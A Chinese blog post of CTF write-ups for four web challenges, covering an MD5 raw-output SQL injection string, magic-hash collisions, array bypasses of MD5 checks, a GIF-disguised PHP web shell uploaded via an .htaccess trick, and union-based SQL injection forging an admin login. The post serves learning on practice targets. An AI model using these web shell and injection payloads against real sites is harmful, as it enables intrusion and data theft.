1月17

Easy MD5

首先打开题目,然后发现界面只有一个输入的

然后尝试sql万能密码注入,发现不行,但是得到的是用get传参password

 

接下来查看源代码,并没有得到什么,于是看看请求头和响应头

发现了一个提示。

 

很明显这里就是让我们传入一个数并且经过md5($pass,true)以后能够得到一个类似于'or'1=1之类的sql语句,

知识1:

md5($pass,true)意思是MD5以后的输出格式为原始16字符的二进制格式,

md5($pass,flase)意思就是md5以后的输出格式为32字符的16进制数。

 

这里我去查了wp,发现大佬的wp都是说直接输入ffifdyop就行了

content: ffifdyop

hex: 276f722736c95d99e921722cf9ed621c

raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

 

输入以后得到

 

很明显是md5弱碰撞类型,从网上一查一大堆。

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

然后得到

 

知识:MD5的强比较,因为md5没法处理数组所以可以采用数组绕过

 

 

[MRCTF2020]你传你🐎呢

这是一道文件上传的题目

 

首先传一个带有木马的图片1.jpg

GIF89a
<script language="php">eval($_POST['cmd']);</script>

从bp上面尝试改后缀为phtml格式

 

发现失败了。

然后尝试采用提交一个.htaccess

 

直接提交不行于是我采用bp改格式成图片的

 

发现提交成功了,于是直接用蚁剑链接得到flag。

 

Ez_bypass

直接查看源码

I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
   $id=$_GET['id'];
   $gg=$_GET['gg'];
   if (md5($id) === md5($gg) && $id !== $gg) {
       echo 'You got the first step';
       if(isset($_POST['passwd'])) {
           $passwd=$_POST['passwd'];
           if (!is_numeric($passwd))
          {
                if($passwd==1234567)
                {
                    echo 'Good Job!';
                    highlight_file('flag.php');
                    die('By Retr_0');
                }
                else
                {
                    echo "can you think twice??";
                }
          }
           else{
               echo 'You can not get it !';
          }

      }
       else{
           die('only one way to get the flag');
      }
}
   else {
       echo "You are not a real hacker!";
  }
}
else{
   die('Please input first');
}
}Please input first

很明显又是md5的强比较,于是又采用数组绕过

所以这个题目只需要用get传参

?gg[]=1&id[]=2

然后用post传参

passwd=1234567a

就得到了答案

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48

Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 48
You got the first stepGood Job! <?php
   $flag="flag{f33763b1-ed91-47e7-a052-6c9988c5ebd9}"
?> By Retr_0

 

[GXYCTF2019]BabySQli

进入题目首先尝试用

admin

'or'1 = 1#

来进行注入。

然后出现的wrong pass!

然后查看源代码发现源代码里面有

 

经过base 32 和base 64解码以后得到了如下:

select * from user where username = '$name'

然后采用bp抓包:

 

然后尝试在用order by 发现出现了

do not hack me!

说明被屏蔽了。

然后尝试用union联合查询,当我payload为下面的

name='union select 1,2,3,4#&pw='or 1=1#

出现了

Error: The used SELECT statements have a different number of columns

知识:联合查询查询不存在的数据会构造数据

于是我的payload:

name='union select 1,'admin','md5($pw)'#&pw='or 1=1#

通过php得到

MD5($pw)就是4cdee5485bd64d8688a84d8a4dab378c

于是

name='union select 1,'admin','4cdee5485bd64d8688a84d8a4dab378c'#&pw='or 1=1#

得到flag

flag{53fa0f95-b046-4b0e-818a-ce874d5d09ae}

 

 

posted @ 2022-01-18 00:33  FPointmaple  阅读(226)  评论(0)    收藏  举报